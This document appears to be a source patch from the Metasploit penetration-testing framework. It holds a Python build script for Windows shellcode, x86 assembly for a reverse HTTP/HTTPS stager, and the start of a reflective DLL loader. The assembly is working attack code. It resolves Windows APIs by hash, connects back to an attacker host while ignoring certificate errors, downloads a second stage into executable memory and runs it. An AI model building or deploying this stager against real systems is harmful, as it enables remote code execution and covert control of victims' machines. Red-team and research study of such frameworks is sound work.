+# will be placed in the bin directory. A hex string and usefull comments will
+# be printed to screen.
+#
+# Example:
+#     >python build.py stager_reverse_tcp_nx
+#
+# Example, to build everything:
+#     >python build.py all > build_output.txt
+#
+# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
 #=============================================================================#
+import os, sys, time
+from subprocess import Popen
+from struct import pack
+#=============================================================================#
+def clean( dir="./bin/" ):
+	for root, dirs, files in os.walk( dir ):
+		for name in files:
+			os.remove( os.path.join( root, name ) )
+#=============================================================================#
+def locate( src_file, dir="./src/" ):
+	for root, dirs, files in os.walk( dir ):
+		for name in files:
+			if src_file == name:
+				return root
+	return None

+#=============================================================================#
+def build( name ):
+	location = locate( "%s.asm" % name )
+	if location:
+		input = os.path.normpath( os.path.join( location, name ) )
+		output = os.path.normpath( os.path.join( "./bin/", name ) )
+		p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] )
+		p.wait()
+		xmit( name )
+	else:
+		print "[-] Unable to locate '%s.asm' in the src directory" % name
+
+#=============================================================================#
+def xmit_dump_ruby( data, length=16 ):
+	dump = ""
+	for i in xrange( 0, len( data ), length ):
+		bytes = data[ i : i+length ]
+		hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) )
+		if i+length <= len(data):
+			hex += " +"
+		dump += "%s\n" % ( hex )
+	print dump
+
+#=============================================================================#
+def xmit_offset( data, name, value, match_offset=0 ):
+	offset = data.find( value );
+	if offset != -1:
+		print "# %s Offset: %d" % ( name, offset + match_offset )
+
+#=============================================================================#
+def xmit( name, dump_ruby=True ):
+	bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) )
+	f = open( bin, 'rb')
+	data = f.read()
+	print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) )
+	xmit_offset( data, "Port", pack( ">H", 4444 ) )           # 4444
+	xmit_offset( data, "LEPort", pack( "<H", 4444 ) )         # 4444
+	xmit_offset( data, "Host", pack( ">L", 0x7F000001 ) )     # 127.0.0.1
+	xmit_offset( data, "IPv6Host", pack( "<Q", 0xBBBBBBBBBBBBBBB1 ) ) # An IPv6 Address
+	xmit_offset( data, "IPv6ScopeId", pack( "<L", 0xAAAAAAA1 ) ) # An IPv6 Scope ID
+	xmit_offset( data, "HostName", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\x00" )     # hostname filler
+	xmit_offset( data, "RetryCounter", "\x6a\x05", 1 )     # socket retry
+	xmit_offset( data, "CodeLen", pack( "<L", 0x12345678 ) )  # Filler
+	xmit_offset( data, "Hostname", "https" )
+	xmit_offset( data, "ExitFunk", pack( "<L", 0x0A2A1DE0 ) ) # kernel32.dll!ExitThread
+	xmit_offset( data, "ExitFunk", pack( "<L", 0x56A2B5F0 ) ) # kernel32.dll!ExitProcess
+	xmit_offset( data, "ExitFunk", pack( "<L", 0xEA320EFE ) ) # kernel32.dll!SetUnhandledExceptionFilter
+	xmit_offset( data, "ExitFunk", pack( "<L", 0xE035F044 ) ) # kernel32.dll!Sleep
+	xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) )  # Egg tag 1
+	xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) )  # Egg tag 2
+	xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) )   # Egg tag size
+	xmit_offset( data, "RC4Key", "RC4KeyMetasploit")          # RC4 key
+	xmit_offset( data, "XORKey", "XORK")                      # XOR key
+	if( name.find( "egghunter" ) >= 0 ):
+		null_count = data.count( "\x00" )
+		if( null_count > 0 ):
+			print "# Note: %d NULL bytes found." % ( null_count )
+	if dump_ruby:
+		xmit_dump_ruby( data )
+
+#=============================================================================#
+def main( argv=None ):
+	if not argv:
+		argv = sys.argv
+	try:
+		if len( argv ) == 1:
+			print "Usage: build.py [clean|all|<name>]"
+		else:
+			print "# Built on %s\n" % (  time.asctime( time.localtime() ) )
+			if argv[1] == "clean":
+				clean()
+			elif argv[1] == "all":
+				for root, dirs, files in os.walk( "./src/egghunter/" ):
+					for name in files:
+						build( name[:-4] )
+				for root, dirs, files in os.walk( "./src/migrate/" ):
+					for name in files:
+						build( name[:-4] )
+				for root, dirs, files in os.walk( "./src/single/" ):
+					for name in files:
+						build( name[:-4] )
+				for root, dirs, files in os.walk( "./src/stage/" ):
+					for name in files:
+						build( name[:-4] )
+				for root, dirs, files in os.walk( "./src/stager/" ):
+					for name in files:
+						build( name[:-4] )
+				for root, dirs, files in os.walk( "./src/kernel/" ):
+					for name in files:
+						build( name[:-4] )
+			else:
+				build( argv[1] )
+	except Exception, e:
+		print "[-] ", e
+#=============================================================================#
+if __name__ == "__main__":
+  main()
+#=============================================================================#
--- a/external/source/shellcode/windows/x86/src/block/block_api.asm
+++ b/external/source/shellcode/windows/x86/src/block/block_api.asm
@ -23,7 +23,7 @@ api_call:
  mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list
 next_mod:                ;
  mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
-  movzx ecx, word [edx+38] ; Set ECX to the length we want to check 
+  movzx ecx, word [edx+38] ; Set ECX to the length we want to check
  xor edi, edi           ; Clear EDI which will store the hash of the module name
 loop_modname:            ;
  xor eax, eax           ; Clear EAX
@ -34,22 +34,25 @@ loop_modname:            ;
 not_lowercase:           ;
  ror edi, 13            ; Rotate right our hash value
  add edi, eax           ; Add the next byte of the name
-  loop loop_modname      ; Loop untill we have read enough
+  loop loop_modname      ; Loop until we have read enough
+
  ; We now have the module hash computed
  push edx               ; Save the current position in the module list for later
  push edi               ; Save the current module hash for later
-  ; Proceed to itterate the export address table, 
+  ; Proceed to iterate the export address table,
  mov edx, [edx+16]      ; Get this modules base address
  mov eax, [edx+60]      ; Get PE header
-  add eax, edx           ; Add the modules base address
-  mov eax, [eax+120]     ; Get export tables RVA
-  test eax, eax          ; Test if no export address table is present
-  jz get_next_mod1       ; If no EAT present, process the next module
-  add eax, edx           ; Add the modules base address
-  push eax               ; Save the current modules EAT
-  mov ecx, [eax+24]      ; Get the number of function names  
-  mov ebx, [eax+32]      ; Get the rva of the function names
+
+  ; use ecx as our EAT pointer here so we can take advantage of jecxz.
+  mov ecx, [eax+edx+120] ; Get the EAT from the PE header
+  jecxz get_next_mod1    ; If no EAT present, process the next module
+  add ecx, edx           ; Add the modules base address
+  push ecx               ; Save the current modules EAT
+  mov ebx, [ecx+32]      ; Get the rva of the function names
  add ebx, edx           ; Add the modules base address
+  mov ecx, [ecx+24]      ; Get the number of function names
+  ; now ecx returns to its regularly scheduled counter duties
+
  ; Computing the module hash + function hash
 get_next_func:           ;
  jecxz get_next_mod     ; When we reach the start of the EAT (we search backwards), process the next module
@ -66,14 +69,15 @@ loop_funcname:           ;
  cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
  jne loop_funcname      ; If we have not reached the null terminator, continue
  add edi, [ebp-8]       ; Add the current module hash to the function hash
-  cmp edi, [ebp+36]      ; Compare the hash to the one we are searchnig for 
+  cmp edi, [ebp+36]      ; Compare the hash to the one we are searching for
  jnz get_next_func      ; Go compute the next function hash if we have not found it
+
  ; If found, fix up stack, call the function and then value else compute the next one...
  pop eax                ; Restore the current modules EAT
-  mov ebx, [eax+36]      ; Get the ordinal table rva      
+  mov ebx, [eax+36]      ; Get the ordinal table rva
  add ebx, edx           ; Add the modules base address
  mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
-  mov ebx, [eax+28]      ; Get the function addresses table rva  
+  mov ebx, [eax+28]      ; Get the function addresses table rva
  add ebx, edx           ; Add the modules base address
  mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
  add eax, edx           ; Add the modules base address to get the functions actual VA
@ -88,10 +92,11 @@ finish:
  push ecx               ; Push back the correct return value
  jmp eax                ; Jump into the required function
  ; We now automagically return to the correct caller...
+
 get_next_mod:            ;
  pop eax                ; Pop off the current (now the previous) modules EAT
 get_next_mod1:           ;
  pop edi                ; Pop off the current (now the previous) modules hash
  pop edx                ; Restore our position in the module list
  mov edx, [edx]         ; Get the next module
-  jmp short next_mod     ; Process this module
+  jmp short next_mod     ; Process this module
--- a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm
+++ b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm
@ -6,6 +6,25 @@
 ;-----------------------------------------------------------------------------;
 [BITS 32]

+%ifdef ENABLE_SSL
+%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 )
+  ;0x80000000 | ; INTERNET_FLAG_RELOAD
+  ;0x04000000 | ; INTERNET_NO_CACHE_WRITE
+  ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
+  ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
+  ;0x00000200 | ; INTERNET_FLAG_NO_UI
+  ;0x00800000 | ; INTERNET_FLAG_SECURE
+  ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
+  ;0x00001000   ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
+%else
+%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 )
+  ;0x80000000 | ; INTERNET_FLAG_RELOAD
+  ;0x04000000 | ; INTERNET_NO_CACHE_WRITE
+  ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
+  ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
+  ;0x00000200   ; INTERNET_FLAG_NO_UI
+%endif
+
 ; Input: EBP must be the address of 'api_call'.
 ; Output: EDI will be the socket for the connection to the server
 ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
@ -16,65 +35,74 @@ load_wininet:
  push 0x0726774C        ; hash( "kernel32.dll", "LoadLibraryA" )
  call ebp               ; LoadLibraryA( "wininet" )

+  xor ebx,ebx
+
 internetopen:
-  xor edi,edi
-  push edi               ; DWORD dwFlags
-  push edi               ; LPCTSTR lpszProxyBypass
-  push edi               ; LPCTSTR lpszProxyName
-  push edi               ; DWORD dwAccessType (PRECONFIG = 0)
-  push byte 0            ; NULL pointer
-  push esp               ; LPCTSTR lpszAgent ("\x00")
+  push ebx               ; DWORD dwFlags
+  push ebx               ; LPCTSTR lpszProxyBypass (NULL)
+  push ebx               ; LPCTSTR lpszProxyName (NULL)
+  push ebx               ; DWORD dwAccessType (PRECONFIG = 0)
+  push ebx               ; LPCTSTR lpszAgent (NULL)
  push 0xA779563A        ; hash( "wininet.dll", "InternetOpenA" )
  call ebp

-  jmp short dbl_get_server_host
-
 internetconnect:
-  pop ebx                ; Save the hostname pointer
-  xor ecx, ecx
-  push ecx               ; DWORD_PTR dwContext (NULL)
-  push ecx               ; dwFlags
+  push ebx               ; DWORD_PTR dwContext (NULL)
+  push ebx               ; dwFlags
  push byte 3            ; DWORD dwService (INTERNET_SERVICE_HTTP)
-  push ecx               ; password
-  push ecx               ; username
+  push ebx               ; password (NULL)
+  push ebx               ; username (NULL)
  push dword 4444        ; PORT
-  push ebx               ; HOSTNAME
+  jmp short dbl_get_server_host ; push pointer to HOSTNAME
+got_server_host:
  push eax               ; HINTERNET hInternet
  push 0xC69F8957        ; hash( "wininet.dll", "InternetConnectA" )
  call ebp

-  jmp get_server_uri
-
 httpopenrequest:
-  pop ecx
-  xor edx, edx           ; NULL
-  push edx               ; dwContext (NULL)
-  push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags
-    ;0x80000000 |        ; INTERNET_FLAG_RELOAD
-    ;0x04000000 |        ; INTERNET_NO_CACHE_WRITE
-	;0x00200000 |        ; INTERNET_FLAG_NO_AUTO_REDIRECT
-    ;0x00000200 |        ; INTERNET_FLAG_NO_UI
-    ;0x00400000          ; INTERNET_FLAG_KEEP_CONNECTION
-  push edx               ; accept types
-  push edx               ; referrer
-  push edx               ; version
-  push ecx               ; url
-  push edx               ; method
+  push ebx               ; dwContext (NULL)
+  push HTTP_OPEN_FLAGS   ; dwFlags
+  push ebx               ; accept types
+  push ebx               ; referrer
+  push ebx               ; version
+  jmp get_server_uri     ; push pointer to url
+got_server_uri:
+  push ebx               ; method
  push eax               ; hConnection
  push 0x3B2E55EB        ; hash( "wininet.dll", "HttpOpenRequestA" )
  call ebp
-  mov esi, eax           ; hHttpRequest
+  xchg esi, eax          ; save hHttpRequest in esi

 set_retry:
  push byte 0x10
-  pop ebx
+  pop edi
+
+send_request:
+
+%ifdef ENABLE_SSL
+; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
+set_security_options:
+  push 0x00003380
+    ;0x00002000 |        ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
+    ;0x00001000 |        ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
+    ;0x00000200 |        ; SECURITY_FLAG_IGNORE_WRONG_USAGE
+    ;0x00000100 |        ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
+    ;0x00000080          ; SECURITY_FLAG_IGNORE_REVOCATION
+  mov eax, esp
+  push byte 4            ; sizeof(dwFlags)
+  push eax               ; &dwFlags
+  push byte 31           ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
+  push esi               ; hHttpRequest
+  push 0x869E4675        ; hash( "wininet.dll", "InternetSetOptionA" )
+  call ebp
+
+%endif

 httpsendrequest:
-  xor edi, edi
-  push edi               ; optional length
-  push edi               ; optional
-  push edi               ; dwHeadersLength
-  push edi               ; headers
+  push ebx               ; lpOptional length (0)
+  push ebx               ; lpOptional (NULL)
+  push ebx               ; dwHeadersLength (0)
+  push ebx               ; lpszHeaders (NULL)
  push esi               ; hHttpRequest
  push 0x7B18062D        ; hash( "wininet.dll", "HttpSendRequestA" )
  call ebp
@ -82,28 +110,30 @@ httpsendrequest:
  jnz short allocate_memory

 try_it_again:
-  dec ebx
-  jz failure
-  jmp short httpsendrequest
+  dec edi
+  jnz send_request

-dbl_get_server_host:
-  jmp get_server_host
-
-get_server_uri:
-  call httpopenrequest
-
-server_uri:
- db "/12345", 0x00
+; if we didn't allocate before running out of retries, fall through to
+; failure

 failure:
  push 0x56A2B5F0        ; hardcoded to exitprocess for size
  call ebp

+dbl_get_server_host:
+  jmp get_server_host
+
+get_server_uri:
+  call got_server_uri
+
+server_uri:
+ db "/12345", 0x00
+
 allocate_memory:
  push byte 0x40         ; PAGE_EXECUTE_READWRITE
  push 0x1000            ; MEM_COMMIT
  push 0x00400000        ; Stage allocation (8Mb ought to do us)
-  push edi               ; NULL as we dont care where the allocation is (zero'd from the prev function)
+  push ebx               ; NULL as we dont care where the allocation is
  push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
  call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

@ -135,7 +165,7 @@ execute_stage:
  ret                    ; dive into the stored stage address

 get_server_host:
-  call internetconnect
+  call got_server_host

 server_host:

--- a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm
+++ b/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm
@ -1,159 +0,0 @@
-;-----------------------------------------------------------------------------;
-; Author: HD Moore
-; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
-; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
-; Version: 1.0
-;-----------------------------------------------------------------------------;
-[BITS 32]
-
-; Input: EBP must be the address of 'api_call'.
-; Output: EDI will be the socket for the connection to the server
-; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
-load_wininet:
-  push 0x0074656e        ; Push the bytes 'wininet',0 onto the stack.
-  push 0x696e6977        ; ...
-  push esp               ; Push a pointer to the "wininet" string on the stack.
-  push 0x0726774C        ; hash( "kernel32.dll", "LoadLibraryA" )
-  call ebp               ; LoadLibraryA( "wininet" )
-
-internetopen:
-  xor edi,edi
-  push edi               ; DWORD dwFlags
-  push edi               ; LPCTSTR lpszProxyBypass
-  push edi               ; LPCTSTR lpszProxyName
-  push edi               ; DWORD dwAccessType (PRECONFIG = 0)
-  push byte 0            ; NULL pointer  
-  push esp               ; LPCTSTR lpszAgent ("\x00")
-  push 0xA779563A        ; hash( "wininet.dll", "InternetOpenA" )
-  call ebp
-
-  jmp short dbl_get_server_host
-
-internetconnect:
-  pop ebx                ; Save the hostname pointer
-  xor ecx, ecx
-  push ecx               ; DWORD_PTR dwContext (NULL)
-  push ecx               ; dwFlags
-  push byte 3            ; DWORD dwService (INTERNET_SERVICE_HTTP)
-  push ecx               ; password
-  push ecx               ; username
-  push dword 4444        ; PORT
-  push ebx               ; HOSTNAME
-  push eax               ; HINTERNET hInternet
-  push 0xC69F8957        ; hash( "wininet.dll", "InternetConnectA" )
-  call ebp
-
-  jmp get_server_uri
-
-httpopenrequest:
-  pop ecx
-  xor edx, edx           ; NULL
-  push edx               ; dwContext (NULL)
-  push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags
-    ;0x80000000 |        ; INTERNET_FLAG_RELOAD
-    ;0x04000000 |        ; INTERNET_NO_CACHE_WRITE
-	;0x00800000 |        ; INTERNET_FLAG_SECURE
-	;0x00200000 |        ; INTERNET_FLAG_NO_AUTO_REDIRECT
-    ;0x00001000 |        ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
-    ;0x00002000 |        ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
-    ;0x00000200          ; INTERNET_FLAG_NO_UI
-  push edx               ; accept types
-  push edx               ; referrer
-  push edx               ; version
-  push ecx               ; url
-  push edx               ; method
-  push eax               ; hConnection
-  push 0x3B2E55EB        ; hash( "wininet.dll", "HttpOpenRequestA" )
-  call ebp
-  mov esi, eax           ; hHttpRequest
-
-set_retry:
-  push byte 0x10
-  pop ebx
-
-; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
-set_security_options:
-  push 0x00003380
-    ;0x00002000 |        ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
-    ;0x00001000 |        ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
-    ;0x00000200 |        ; SECURITY_FLAG_IGNORE_WRONG_USAGE
-    ;0x00000100 |        ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
-    ;0x00000080          ; SECURITY_FLAG_IGNORE_REVOCATION
-  mov eax, esp
-  push byte 4            ; sizeof(dwFlags)
-  push eax               ; &dwFlags
-  push byte 31           ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
-  push esi               ; hRequest
-  push 0x869E4675        ; hash( "wininet.dll", "InternetSetOptionA" )
-  call ebp
-
-httpsendrequest:
-  xor edi, edi
-  push edi               ; optional length
-  push edi               ; optional
-  push edi               ; dwHeadersLength
-  push edi               ; headers
-  push esi               ; hHttpRequest
-  push 0x7B18062D        ; hash( "wininet.dll", "HttpSendRequestA" )
-  call ebp
-  test eax,eax
-  jnz short allocate_memory
-
-try_it_again:
-  dec ebx
-  jz failure
-  jmp short set_security_options
-
-dbl_get_server_host:
-  jmp get_server_host
-
-get_server_uri:
-  call httpopenrequest
-
-server_uri:
- db "/12345", 0x00
-
-failure:
-  push 0x56A2B5F0        ; hardcoded to exitprocess for size
-  call ebp
-
-allocate_memory:
-  push byte 0x40         ; PAGE_EXECUTE_READWRITE
-  push 0x1000            ; MEM_COMMIT
-  push 0x00400000        ; Stage allocation (8Mb ought to do us)
-  push edi               ; NULL as we dont care where the allocation is (zero'd from the prev function)
-  push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
-  call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
-
-download_prep:
-  xchg eax, ebx          ; place the allocated base address in ebx
-  push ebx               ; store a copy of the stage base address on the stack
-  push ebx               ; temporary storage for bytes read count
-  mov edi, esp           ; &bytesRead
-
-download_more:
-  push edi               ; &bytesRead
-  push 8192              ; read length
-  push ebx               ; buffer
-  push esi               ; hRequest
-  push 0xE2899612        ; hash( "wininet.dll", "InternetReadFile" )
-  call ebp
-
-  test eax,eax           ; download failed? (optional?)
-  jz failure
-
-  mov eax, [edi]
-  add ebx, eax           ; buffer += bytes_received
-
-  test eax,eax           ; optional?
-  jnz download_more      ; continue until it returns 0
-  pop eax                ; clear the temporary storage
-
-execute_stage:
-  ret                    ; dive into the stored stage address
-
-get_server_host:
-  call internetconnect
-
-server_host:
-
--- a/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm
+++ b/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm
@ -1,19 +1,20 @@
-;-----------------------------------------------------------------------------;
-; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
-; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
-; Version: 1.0 (24 July 2009)
-; Size: 274 bytes
-; Build: >build.py stager_reverse_tcp_nx
-;-----------------------------------------------------------------------------;
-
-[BITS 32]
-[ORG 0]
-
-  cld                    ; Clear the direction flag.
-  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
-%include "./src/block/block_api.asm"
-start:                   ;
-  pop ebp                ; pop off the address of 'api_call' for calling later.
-%include "./src/block/block_reverse_https.asm"
+;-----------------------------------------------------------------------------;
+; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
+; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
+; Version: 1.0 (24 July 2009)
+; Size: 274 bytes
+; Build: >build.py stager_reverse_tcp_nx
+;-----------------------------------------------------------------------------;
+
+[BITS 32]
+[ORG 0]
+
+  cld                    ; Clear the direction flag.
+  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
+%include "./src/block/block_api.asm"
+start:                   ;
+  pop ebp                ; pop off the address of 'api_call' for calling later.
+%define ENABLE_SSL 1
+%include "./src/block/block_reverse_http.asm"
  ; By here we will have performed the reverse_tcp connection and EDI will be our socket.

--- a/external/source/vncdll/.gitignore
+++ b/external/source/vncdll/.gitignore
@ -0,0 +1,152 @@
+## Ignore Visual Studio temporary files, build results, and
+## files generated by popular Visual Studio add-ons.
+
+# User-specific files
+*.suo
+*.user
+*.sln.docstates
+
+# Build results
+
+[Dd]ebug/
+[Rr]elease/
+x64/
+build/
+[Bb]in/
+[Oo]bj/
+
+# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
+!packages/*/build/
+
+# MSTest test Results
+[Tt]est[Rr]esult*/
+[Bb]uild[Ll]og.*
+
+*_i.c
+*_p.c
+*.ilk
+*.meta
+*.obj
+*.pch
+*.pdb
+*.pgc
+*.pgd
+*.rsp
+*.sbr
+*.tlb
+*.tli
+*.tlh
+*.tmp
+*.tmp_proj
+*.log
+*.vspscc
+*.vssscc
+.builds
+*.pidb
+*.log
+*.scc
+
+# Visual C++ cache files
+ipch/
+*.aps
+*.ncb
+*.opensdf
+*.sdf
+*.cachefile
+
+# Visual Studio profiler
+*.psess
+*.vsp
+*.vspx
+
+# Guidance Automation Toolkit
+*.gpState
+
+# ReSharper is a .NET coding add-in
+_ReSharper*/
+*.[Rr]e[Ss]harper
+
+# TeamCity is a build add-in
+_TeamCity*
+
+# DotCover is a Code Coverage Tool
+*.dotCover
+
+# NCrunch
+*.ncrunch*
+.*crunch*.local.xml
+
+# Installshield output folder
+[Ee]xpress/
+
+# DocProject is a documentation generator add-in
+DocProject/buildhelp/
+DocProject/Help/*.HxT
+DocProject/Help/*.HxC
+DocProject/Help/*.hhc
+DocProject/Help/*.hhk
+DocProject/Help/*.hhp
+DocProject/Help/Html2
+DocProject/Help/html
+
+# Click-Once directory
+publish/
+
+# Publish Web Output
+*.Publish.xml
+*.pubxml
+
+# NuGet Packages Directory
+## TODO: If you have NuGet Package Restore enabled, uncomment the next line
+#packages/
+
+# Windows Azure Build Output
+csx
+*.build.csdef
+
+# Windows Store app package directory
+AppPackages/
+
+# Others
+sql/
+*.Cache
+ClientBin/
+[Ss]tyle[Cc]op.*
+~$*
+*~
+*.dbmdl
+*.[Pp]ublish.xml
+*.pfx
+*.publishsettings
+
+# RIA/Silverlight projects
+Generated_Code/
+
+# Backup & report files from converting an old project file to a newer
+# Visual Studio version. Backup files are not needed, because we have git ;-)
+_UpgradeReport_Files/
+Backup*/
+UpgradeLog*.XML
+UpgradeLog*.htm
+
+# SQL Server files
+App_Data/*.mdf
+App_Data/*.ldf
+
+# =========================
+# Windows detritus
+# =========================
+
+# Windows image file caches
+Thumbs.db
+ehthumbs.db
+
+# Folder config file
+Desktop.ini
+
+# Recycle Bin used on file shares
+$RECYCLE.BIN/
+
+# Mac crap
+.DS_Store
+
--- a/external/source/vncdll/loader/LoadLibraryR.c
+++ b/external/source/vncdll/loader/LoadLibraryR.c
@ -1,131 +0,0 @@
-//===============================================================================================//
-// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
-// All rights reserved.
-// 
-// Redistribution and use in source and binary forms, with or without modification, are permitted 
-// provided that the following conditions are met:
-// 
-//     * Redistributions of source code must retain the above copyright notice, this list of 
-// conditions and the following disclaimer.
-// 
-//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
-// conditions and the following disclaimer in the documentation and/or other materials provided 
-// with the distribution.
-// 
-//     * Neither the name of Harmony Security nor the names of its contributors may be used to
-// endorse or promote products derived from this software without specific prior written permission.
-// 
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
-// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
-// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
-// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
-// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
-// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
-// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
-// POSSIBILITY OF SUCH DAMAGE.
-//===============================================================================================//
-#include "LoadLibraryR.h"
-//===============================================================================================//
-DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
-{    
-	WORD wIndex                          = 0;
-	PIMAGE_SECTION_HEADER pSectionHeader = NULL;
-	PIMAGE_NT_HEADERS pNtHeaders         = NULL;
-	
-	pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
-
-	pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
-
-    if( dwRva < pSectionHeader[0].PointerToRawData )
-        return dwRva;
-
-    for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
-    {   
-        if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )           
-           return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
-    }
-    
-    return 0;
-}
-//===============================================================================================//
-DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
-{
-	UINT_PTR uiBaseAddress   = 0;
-	UINT_PTR uiExportDir     = 0;
-	UINT_PTR uiNameArray     = 0;
-	UINT_PTR uiAddressArray  = 0;
-	UINT_PTR uiNameOrdinals  = 0;
-	DWORD dwCounter          = 0;
-#ifdef _WIN64
-	DWORD dwMeterpreterArch = 2;
-#else
-	DWORD dwMeterpreterArch = 1;
-#endif
-
-	uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
-
-	// get the File Offset of the modules NT Header
-	uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
-
-	// currenlty we can only process a PE file which is the same type as the one this fuction has  
-	// been compiled as, due to various offset in the PE structures being defined at compile time.
-	if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
-	{
-		if( dwMeterpreterArch != 1 )
-			return 0;
-	}
-	else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
-	{
-		if( dwMeterpreterArch != 2 )
-			return 0;
-	}
-	else
-	{
-		return 0;
-	}
-
-	// uiNameArray = the address of the modules export directory entry
-	uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
-
-	// get the File Offset of the export directory
-	uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
-
-	// get the File Offset for the array of name pointers
-	uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
-
-	// get the File Offset for the array of addresses
